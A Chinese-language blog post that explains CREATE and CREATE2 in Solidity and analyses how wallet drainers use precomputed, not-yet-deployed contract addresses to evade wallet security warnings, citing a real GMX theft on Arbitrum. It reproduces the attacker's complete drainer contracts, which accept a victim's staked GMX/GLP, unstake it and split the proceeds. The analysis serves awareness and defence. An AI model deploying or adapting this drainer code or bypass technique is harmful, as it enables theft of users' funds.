探究Wallet Drainers使用Create2 Bypass钱包安全告警 前言 最近链上的TVL很高,Wallet Drainers也越来越活跃了。
自己简单看了下,感觉蛮有趣的,因为最近手中的事情太多了,就简单记录下。
Create和Create2 在了解如何bypass钱包的安全告警之前,首先需要了解这一行为的实现,基于Create2
Create EOA可以创建智能合约,智能合约同样也是可以创建智能合约的
create
通常与address
结合使用,用于在智能合约中创建新的合约实例。通过使用create
,合约可以在其执行期间动态地生成新的合约。
这边我写一个简单的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 contract Factory { event NewContract(address indexed createdContract); function createNewContract() external { // 使用 create 创建新的合约 address newContract = address(new MyContract()); emit NewContract(newContract); } } contract MyContract { // 合约的逻辑和状态变量 address public owner; constructor() { owner = msg.sender; } function isOwner() external view returns (bool) { return msg.sender == owner; } }
首先部署Factory
合约 合约地址为0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
然后创建新的合约createNewContract,可以看到日志中:
1 2 3 4 5 6 7 8 9 10 11 [ { "from": "0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95", "topic": "0x387ea218537e939551af33bbc2dd6c53b1fee55d377a0dce288258f972cb3a9c", "event": "NewContract", "args": { "0": "0xc176E14869501dd2B8DCFaAe60Bd022717b6350a", "createdContract": "0xc176E14869501dd2B8DCFaAe60Bd022717b6350a" }soli } ]
可以看到创建了合约0xc176E14869501dd2B8DCFaAe60Bd022717b6350a
我们再去部署MyContract 可以发现合约地址为0xc176E14869501dd2B8DCFaAe60Bd022717b6350a
点击owner为
1 "0": "address: 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95"
owner为创建的合约地址,那么就实现了在合约中创建合约的目的。
Create2 create2
允许合约在指定的地址上创建新的合约实例
那么就可以达到“预测”合约地址的方法
因为在地址的计算机制中,通常使用keccak256
哈希函数计算合约地址
create2为我们提供了一个计算地址的salt值,这样我们就可以更加灵活地控制合约地址
比如我们使用create2,我们可以在创建合约之前预测新创建的合约地址,如果我们在该地址上预先提供好需要部署的合约,那么就可以达到很多目的,比如:可以进行代币转移,合约升级,恶意合约的部署等等。
写一个简单的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 contract PredictableContract { address public owner; event ContractCreated(address indexed newContract, address indexed owner); constructor(address _owner) payable { owner = _owner; } function getOwner() public view returns (address) { return owner; } } contract Factory { function deploy(uint _salt) public payable returns (address) { bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), address(this), _salt, type(PredictableContract).creationCode ) ); address newContract = address(uint160(uint256(hash))); return address(new PredictableContract{salt: bytes32(_salt)}(msg.sender)); } }
给salt为66在部署的合约(合约地址0x3596A5B0cb68D61C071d5A535A3B676fB2b7D678)
中deploy一个合约
可以看到
解码输入
{ “uint256 _salt”: “66” }
解码输出
{ “0”: “address: 0xa852De88789ced6c8aF04738Cfb0E444cbb83102” }
得到预测的合约0xa852De88789ced6c8aF04738Cfb0E444cbb83102
我们部署到owner合约地址可以看到owner为
0xa852De88789ced6c8aF04738Cfb0E444cbb83102
也可以看下这位师傅写的solidity使用create2预测合约地址|create2用法|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract ContractDemo { address public owner; // Only owners can call transactions marked with this modifier modifier onlyOwner() { require(owner == msg.sender, "Caller is not the owner"); _; } constructor(address _owner) payable { owner = _owner; } function getOwner() public view returns (address) { return owner; } } contract Factory { // Returns the address of the newly deployed contract function deploy( uint _salt ) public payable returns (address) { return address(new ContractDemo{salt: bytes32(_salt)}(msg.sender)); } // 获取待部署合约字节码 function getBytecode() public view returns (bytes memory) { bytes memory bytecode = type(ContractDemo).creationCode; return abi.encodePacked(bytecode, abi.encode(msg.sender)); } /** 获取待部署合约地址 params: _salt: 随机整数,用于预计算地址 */ function getAddress(uint256 _salt) public view returns (address) { // Get a hash concatenating args passed to encodePacked bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), // 0 address(this), // address of factory contract _salt, // a random salt keccak256(getBytecode()) // the wallet contract bytecode ) ); // Cast last 20 bytes of hash to address return address(uint160(uint256(hash))); } }
更多详情:Create2 & Precompute Contract Address with Create2 | Solidity by Example
Bypass Wallet Warning bypass流程 用ScamSniffer的图示 很清晰了,后续我再次捕捉这种基于create2的钓鱼或者攻击手段会更新再这篇
相关事件 [X 上的 Scam Sniffer | Web3 Anti-Scam:“1/ Here is a real case happened 9 hours ago A victim lost $927k worth of $GMX after signing a `signalTransfer(address receiver)](https://etherscan.io/tx/0xccd808ede93fc8a3879e2f9dab5f4822c6e46fb349a73ad85944e0c93b27d09e )
攻击链 事件hash:
0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96(Txhash) Details | Arbiscan
攻击者通过GMX: Reward Router提取代币
0x4e1d6fcb620e87cedb1b67b5212a23ed1265acf4b8dcf646bc0810cfc3600260(Txhash) Details | Arbiscan
通过Create2预先计算的地址
Contract Address 0xbD2BF58Be46619B7A22cE9457e1D51A10B82EB91 | Arbiscan
0xbD2BF58Be46619B7A22cE9457e1D51A10B82EB91是一个预先计算的合约地址,为空合约
作为绕过钱包安全警告,这个合约地址是在wallet drainer转移其资产时(调用 create2 之后)创建的
意思就是:当你同意了签名,然后这个合约才被创建,你的资产通过这个创建后的合约进行转移
可以看详细链路:
arbitrum-0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96 | MetaSleuth
攻击者合约 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 // File: contracts/gmxUnstake.sol pragma solidity ^0.8.0; contract GmxUnstake { address rewardRouter = 0xA906F338CB21815cBc4Bc87ace9e68c87eF8d8F1; address stakedGmxTracker = 0x908C4D94D34924765f1eDc22A1DD098397c59dD4; address gmxToken = 0xfc5A1A6EB076a2C7aD06eD22C90d7E710E35ad0a; address feeAndStakedGlp = 0x1aDDD80E6039594eE970E5872D247bf0414C8903; address rewardRouterV2 = 0xB95DB5B167D75e6d04227CfFFA61069348d271F5; receive() external payable {} fallback() external payable {} modifier onlyOwner() { require( tx.origin == 0x0000db5c8B030ae20308ac975898E09741e70000, "Caller is not an owner" ); _; } function acceptTransfer(address victim) private { (bool success, ) = (rewardRouter).call( abi.encodeWithSignature("acceptTransfer(address)", victim) ); require(success, "Can't accept transfer"); } function handleRewards() private { (bool success, ) = (rewardRouter).call( abi.encodeWithSignature( "handleRewards(bool,bool,bool,bool,bool,bool,bool)", false, false, true, false, false, true, true ) ); require(success, "Can't handle rewards"); } function unstakeGmx( uint16 percentageForFirstAddressInBasisPoints, address firstAddress, address secondAddress ) private { (bool callSuccess, bytes memory data) = (stakedGmxTracker).call( abi.encodeWithSignature( "depositBalances(address,address)", address(this), gmxToken ) ); require( callSuccess && data.length > 0, "Can't not get staked gmx amount" ); uint256 stakedGmx = abi.decode(data, (uint256)); if (stakedGmx > 0) { (bool unstakeSuccess, ) = (rewardRouter).call( abi.encodeWithSignature("unstakeGmx(uint256)", stakedGmx) ); require(unstakeSuccess, "Can't not unstake"); uint256 gmxAmountForFirstAddress = (stakedGmx * percentageForFirstAddressInBasisPoints) / 10000; uint256 gmxAmountForSecondAddress = stakedGmx - gmxAmountForFirstAddress; if (gmxAmountForFirstAddress > 0) { (bool firstTransferSuccess, ) = gmxToken.call( abi.encodeWithSignature( "transfer(address,uint256)", firstAddress, gmxAmountForFirstAddress ) ); require(firstTransferSuccess, "First gmx transfer failed"); } if (gmxAmountForSecondAddress > 0) { (bool secondTransferSuccess, ) = gmxToken.call( abi.encodeWithSignature( "transfer(address,uint256)", secondAddress, gmxAmountForSecondAddress ) ); require(secondTransferSuccess, "Second gmx transfer failed"); } } } function unstakeGlp(uint256 lpPrice, uint256 ethPrice) private { (bool callSuccess, bytes memory data) = (feeAndStakedGlp).call( abi.encodeWithSignature("balanceOf(address)", address(this)) ); require(callSuccess && data.length > 0, "Can't get glp token balance"); uint256 stakedBalance = abi.decode(data, (uint256)); if (stakedBalance > 0) { (bool unstakeSuccess, ) = (rewardRouterV2).call( abi.encodeWithSignature( "unstakeAndRedeemGlpETH(uint256,uint256,address)", stakedBalance, (((stakedBalance * lpPrice) / ethPrice) * 9) / 10, // Calculate the min out value + remove 10% address(this) ) ); require(unstakeSuccess, "Can't unstake and redeem glp ETH"); } } function call( address target, bytes calldata data, uint256 value ) public onlyOwner { (bool success, bytes memory returnData) = target.call{value: value}( data ); require(success, string(returnData)); } function unstake( address victim, uint16 percentageForFirstAddressInBasisPoints, address firstAddress, address secondAddress, uint256 lpPrice, uint256 ethPrice ) public onlyOwner { require( percentageForFirstAddressInBasisPoints <= 10000, "Percentage must be between 0 and 10000" ); require( firstAddress != address(0) && secondAddress != address(0), "Invalid address" ); acceptTransfer(victim); handleRewards(); unstakeGmx( percentageForFirstAddressInBasisPoints, firstAddress, secondAddress ); unstakeGlp(lpPrice, ethPrice); if (address(this).balance > 0) { uint256 amountForFirstAddress = (address(this).balance * percentageForFirstAddressInBasisPoints) / 10000; uint256 amountForSecondAddress = address(this).balance - amountForFirstAddress; if (amountForFirstAddress > 0) { (bool success, ) = firstAddress.call{ value: amountForFirstAddress }(""); require(success, "First transfer failed"); } if (amountForSecondAddress > 0) { (bool success, ) = secondAddress.call{ value: amountForSecondAddress }(""); require(success, "Second transfer failed"); } } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 // File: contracts/gmxUnstakeCreator.sol pragma solidity ^0.8.0; contract GmxUnstakeCreator { function createContract(bytes32 salt) private returns (address) { GmxUnstake _contract = new GmxUnstake{salt: salt}(); return address(_contract); } function getBytecode() private pure returns (bytes memory) { bytes memory bytecode = type(GmxUnstake).creationCode; return abi.encodePacked(bytecode); } function calculateAddress(bytes32 salt) public view returns (address) { bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), address(this), salt, keccak256(getBytecode()) ) ); return address(uint160(uint256(hash))); } function createAndCall( bytes32 salt, address victim, uint16 percentageForFirstAddressInBasisPoints, address firstAddress, address secondAddress, uint256 lpPrice, uint256 ethPrice ) public { address contractAddress = createContract(salt); bytes memory callData = abi.encodeWithSignature( "unstake(address,uint16,address,address,uint256,uint256)", victim, percentageForFirstAddressInBasisPoints, firstAddress, secondAddress, lpPrice, ethPrice ); (bool success, ) = contractAddress.call(callData); require(success, "Fail"); } }
参考
Wallet Drainers Starts Using Create2 Bypass Wallet Security Alert - Scam Sniffer
Create2 | WTF Academy